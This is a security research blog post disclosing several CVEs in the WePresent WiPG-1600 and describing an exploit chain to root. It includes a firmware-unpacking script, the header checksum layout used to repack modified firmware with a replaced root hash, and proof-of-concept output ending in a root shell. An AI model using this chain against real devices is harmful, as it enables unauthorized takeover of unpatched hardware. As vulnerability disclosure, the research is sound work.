KoreLogic Blog
WePresent... vulnerabilities! 2021-01-05 20:21

This blog post describes an exploit chain to go from a completely unauthenticated attacker to a root shell on a WePresent WiPG-1600. The device was running firmware version 2.5.1.8, which was the latest version available at the time this research was performed. Several vulnerabilities were found, and CVEs and fixes for each have since been published.

CVE-2020-28329 - Default API credentials

The first vulnerability is the existence of default, hardcoded credentials that can be used to access an API service listening on port 4001/tcp. The password exists as clear text in /etc/lighthttp/admin and in a hashed form in etc/lighttpd/lighttpd.user. This information was obtained by downloading and unpacking the firmware from WePresent's site. The URL for the firmware is https://www.barco.com/en/support/wepresent-wipg-1600w/drivers. Binwalk, with recursive scanning of extracted files, does partially unpack the firmware. A simple, more elegant approach will be discussed later in this blog post.

CVE-2020-28330 - Displaying the Web admin password as clear text in an API response

An authenticated request to https://IP:4001/w1.0, using the credentials described above, will display the current Web admin password as clear text. An attacker will now have the password for the Web admin user on the device, and can use the web interface to make any configuration changes to the device using the web UI.

CVE-2020-28333 - Effectively a Session ID being passed as a URL parameter

In order to make configuration changes to the device, a random value sent to the web interface client from the device is required to be provided – the "SEID". It seems to be acting like a Session ID in a cookie. However, the "SEID" is passed as a parameter in URLs and in the body of POSTs. Since it is passed as a parameter in the URL, it can be logged by web proxies or browser history. An example is:

https://192.168.2.200/cgi-bin/web_index.cgi?lang=en&src=AwSystem.html&ertqVvnKV4TjU9Vt

Where "ertqVvnKV4TjU9Vt" is the SEID. No session cookie exists, just this value passed on the URL as a parameter, and in the body of POSTs to make configuration changes. A given SEID is tied to the originating IP, has a limited lifetime, and does not persist across reboots of the WePresent.

CVE-2020-28331 - Hidden POST options to enable network listeners

The device does not have a SSH daemon listening by default. The web UI does not appear to have configuration options/settings for enabling the SSH service or configuring system-level accounts on the device. In looking at the unpacked firmware, I could see where a SSH daemon init script exists (/etc/init.d/S41ssh). The init script starts the SSH daemon only if a specific value from the device's configuration is set to "1". Excerpts from the init script:

mode=$(/mnt/AwGetCfg get RD_DEBUG_MODE)

runprocess()
{
    if [ "$mode" = "1" ]; then
        echo "dropbear running"
        /usr/bin/dropbear
    fi
}

The AwGetCfg binary reads the /etc/content/AwDefault.xml file, and there is an RD_DEBUG_MODE value set in that file. By default RD_DEBUG_MODE is set to "0" in the firmware.

$ nmap 192.168.2.200

Starting Nmap 7.60 ( https://nmap.org ) at 2020-05-26 20:54 CDT
Nmap scan report for 192.168.2.200
Host is up (0.0035s latency).
Not shown: 988 closed ports
PORT     STATE SERVICE
80/tcp   open  http
389/tcp  open  ldap
443/tcp  open  https
515/tcp  open  printer
1688/tcp open  nsjtp-data
3268/tcp open  globalcatLDAP
4001/tcp open  newoak
5566/tcp open  westec-connect
6000/tcp open  X11
7000/tcp open  afs3-fileserver
7100/tcp open  font-service
8080/tcp open  http-proxy

While the web pages in the web UI do not have apparent ways to enable SSH, I was able to identify that other configuration settings that appear in the /etc/content/AwDefault.xml file can be modified by the web UI. So, I mimicked a configuration change to a setting from the UI, but changed the value to be changed to set RD_DEBUG_MODE to 1. The following was included in a POST to the device:

<name>RD_DEBUG_MODE</name><value>1</value>

Many, if not all, configuration changes to the device require a reboot to take effect. So, another POST has to be sent, using the "SEID" to reboot the device. After the device comes back up, the SSH service is indeed running and accepting connections.

$ nmap 192.168.2.200

Starting Nmap 7.60 ( https://nmap.org ) at 2020-05-26 20:57 CDT
Nmap scan report for 192.168.2.200
Host is up (0.0037s latency).
Not shown: 987 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
389/tcp  open  ldap
443/tcp  open  https
515/tcp  open  printer
1688/tcp open  nsjtp-data
3268/tcp open  globalcatLDAP
4001/tcp open  newoak
5566/tcp open  westec-connect
6000/tcp open  X11
7000/tcp open  afs3-fileserver
7100/tcp open  font-service
8080/tcp open  http-proxy

Nmap done: 1 IP address (1 host up) scanned in 0.15 seconds

In looking at the unpacked firmware, I quickly identified a root hash in the /etc/shadow file on the device. It is the only account in the /etc/shadow. I did not observe where the device prompts the administrator to set a new root password, therefore this password is hardcoded and exists across all devices (CVE-2020-28334). The password hash withstood cracking attempts that ran multiple weeks. Given the length of the password on the default account for the API interface, I anticipate that the password is sufficiently long and complex, and that it would take a very long time for the hash to crack.

So, if the hash can't be cracked... can it be replaced?

CVE-2020-28332 - Firmware is not signed

The firmware unpacks partially using binwalk. However, Matt Bergin (@thatguylevel) made an observation on how the firmware images are packaged based on one of the scripts in the firmware that processes firmware update files. Using 'dd' and Matt's information, we were able to extract the 4 component files in the firmware. As referenced above, this is our more elegant approach. The four component files are:

- a 512 byte header
- a cramfs file system
- a uBoot image
- and a tar.gz'd set of files (where the /etc/shadow file lives)

The shell script used to perform the unpacking of the firmware image is very simple:

$ cat unpack-firmware.sh 
#!/bin/sh
dd bs=512 if=$1 of=$1.header count=1
dd bs=512 if=$1 of=$1.cromfs skip=1 count=10240
dd bs=512 if=$1 of=$1.uboot skip=10241 count=6144
dd bs=512 if=$1 of=$1.fs.tar.gz skip=16385

Using the script is straightforward:

$ ../../unpack-firmware.sh awind.WiPG-1600w.wm8750_2.5.1.8_20-02-07-1343.a2e02.nad 
1+0 records in
1+0 records out
512 bytes copied, 0.000382706 s, 1.3 MB/s
10240+0 records in
10240+0 records out
5242880 bytes (5.2 MB, 5.0 MiB) copied, 0.0444339 s, 118 MB/s
6144+0 records in
6144+0 records out
3145728 bytes (3.1 MB, 3.0 MiB) copied, 0.0102049 s, 308 MB/s
231542+1 records in
231542+1 records out
118549747 bytes (119 MB, 113 MiB) copied, 0.383279 s, 309 MB/s

$ ls -al
total 247940
...      4096 Nov 16 20:36 .
...      4096 Nov 16 20:35 ..
... 126938867 Nov 16 20:36 awind.WiPG-1600w.wm8750_2.5.1.8_20-02-07-1343.a2e02.nad
...   5242880 Nov 16 20:36 awind.WiPG-1600w.wm8750_2.5.1.8_20-02-07-1343.a2e02.nad.cromfs
... 118549747 Nov 16 20:36 awind.WiPG-1600w.wm8750_2.5.1.8_20-02-07-1343.a2e02.nad.fs.tar.gz
...       512 Nov 16 20:36 awind.WiPG-1600w.wm8750_2.5.1.8_20-02-07-1343.a2e02.nad.header
...   3145728 Nov 16 20:36 awind.WiPG-1600w.wm8750_2.5.1.8_20-02-07-1343.a2e02.nad.uboot

The initial attempt at modifying the firmware failed when the device computed a checksum and denied processing the modified firmware. Knowing that a checksum was used in validating firmware, our focus was on the header file. Most of the fields in the header file are text-based and easily identifiable. There were, however, fields whose purpose were not immediately obvious. After some thought and processing of the bytes, the following header file structure was identified. The following is hexdump output with comments interspersed.

$ hexdump -C header
00000000  61 77 2d 66 68 30 30 33  02 05 01 08 14 14 02 07  |aw-fh003........|
				   (version=2.5.1.8) and date (0x14 = 20; date = 2020/02/07
00000010  61 77 69 6e 64 2e 57 69  50 47 2d 31 36 30 30 2e  |awind.WiPG-1600.|
00000020  57 4d 38 37 35 30 00 00  00 00 00 00 00 00 00 00  |WM8750..........|
00000030  57 50 53 00 00 00 00 00  00 00 00 00 00 00 00 00  |WPS.............|
00000040  41 57 49 00 00 00 00 00  00 00 00 00 00 00 00 00  |AWI.............|
00000050  64 65 66 61 75 6c 74 00  00 00 00 00 00 00 00 00  |default.........|
00000060  f3 ec 90 07 08 22 ab cf  64 65 66 61 75 6c 74 00  |....."..default.|
          (0x0790ecf3 = 126938355 bytes = filesize of the firmware without the 512 byte header)
	  (0xcfab2208 = sum32 checksum of the firmware without the 512 byte header)
00000070  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000080  61 77 2d 65 78 74 72 61  01 00 00 00 ff ff ff ff  |aw-extra........|
00000090  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*
00000200

Generating our new firmware version involved gunzip'ing and untar'ing the filesystem, replacing the hash, and tar-gzip'ing back up. Once it is tar.gz, we have to concatenate all parts of the new firmware together *without* the header file. We then calculate the sum32 checksum on this file. Jacksum was used to identify the hashing algorithm used by the firmware. With the new sum32 checksum and filesize of the tar.gz file, we can modify our new header file to look like:

00000000  61 77 2d 66 68 30 30 33  02 05 01 09 14 14 02 07  |aw-fh003........|
00000010  61 77 69 6e 64 2e 57 69  50 47 2d 31 36 30 30 2e  |awind.WiPG-1600.|
00000020  57 4d 38 37 35 30 00 00  00 00 00 00 00 00 00 00  |WM8750..........|
00000030  57 50 53 00 00 00 00 00  00 00 00 00 00 00 00 00  |WPS.............|
00000040  41 57 49 00 00 00 00 00  00 00 00 00 00 00 00 00  |AWI.............|
00000050  64 65 66 61 75 6c 74 00  00 00 00 00 00 00 00 00  |default.........|
00000060  5f 2a 91 07 39 66 da cf  64 65 66 61 75 6c 74 00  |_*..9f..default.|
00000070  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000080  61 77 2d 65 78 74 72 61  01 00 00 00 ff ff ff ff  |aw-extra........|
00000090  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*
00000200

Now, we can concatenate the header file onto the new firmware to complete the firmware packaging. This new file can now be uploaded to the WePresent device. After the firmware update, the device will revert back to the default Web admin password of "admin". The WePwn.py script can be run again to re-enable SSH, and now we can ssh in with our known root password.

Proof-of-Concept:

Assuming the administrator has changed the admin password from the default to the value "W3Pr3s3nt".

A python script (WePwn.py) was written to automate several steps in the exploit chain, notably:

  1. Use a hard coded account that can only access the API service listening on port 4001/tcp.
  2. Issue a request to the API endpoint with the credentials to extract the clear text password currently set for the Web admin account.
  3. With the password for the Web admin account, log in and obtain a "SEID", which is a randomly generated value much like a session ID. This session ID is exposed on the URL string when using the web interface.
  4. Make a POST including the obtained SEID string, submitting the undocumented configuration setting to enable the SSH service.
  5. Once the configuration setting has been changed to enable the SSH service, the "SEID" value is used in a POST to reboot the device.
$ nmap 192.168.2.200

Starting Nmap 7.60 ( https://nmap.org ) at 2020-05-26 20:54 CDT
Nmap scan report for 192.168.2.200
Host is up (0.0035s latency).
Not shown: 988 closed ports
PORT     STATE SERVICE
80/tcp   open  http
389/tcp  open  ldap
443/tcp  open  https
515/tcp  open  printer
1688/tcp open  nsjtp-data
3268/tcp open  globalcatLDAP
4001/tcp open  newoak
5566/tcp open  westec-connect
6000/tcp open  X11
7000/tcp open  afs3-fileserver
7100/tcp open  font-service
8080/tcp open  http-proxy

Nmap done: 1 IP address (1 host up) scanned in 0.17 seconds

$ ./WePwn.py -h 192.168.2.200
[+] Admin password is:  W3Pr3s3nt
[+] SEID is:  PqhXbb4jQ2g8T4ss
[+] Enabling SSH Daemon
[+] Rebooting device
[+] Waiting for 60 seconds while device reboots
10...20...30...40...50...60

$ nmap 192.168.2.200

Starting Nmap 7.60 ( https://nmap.org ) at 2020-05-26 20:57 CDT
Nmap scan report for 192.168.2.200
Host is up (0.0037s latency).
Not shown: 987 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
389/tcp  open  ldap
443/tcp  open  https
515/tcp  open  printer
1688/tcp open  nsjtp-data
3268/tcp open  globalcatLDAP
4001/tcp open  newoak
5566/tcp open  westec-connect
6000/tcp open  X11
7000/tcp open  afs3-fileserver
7100/tcp open  font-service
8080/tcp open  http-proxy

Nmap done: 1 IP address (1 host up) scanned in 0.15 seconds

The Web admin password previously discovered is then used to log in to the device and upload custom/modified firmware. In our case, only the hash for the root password in /etc/shadow was altered. Once the new firmware version was uploaded to the device and the SSH service is re-enabled, we are able to SSH in as root with the password hash that we set.

$ ssh -p 22 -o PasswordAuthentication=yes root@192.168.2.200
root@192.168.2.200's password: 

Welcome to AWIND(R) Linux(R) Environment ...

# whoami
root

0 comments Posted by Jim Becher at: 20:21 permalink

Comments are closed for this story.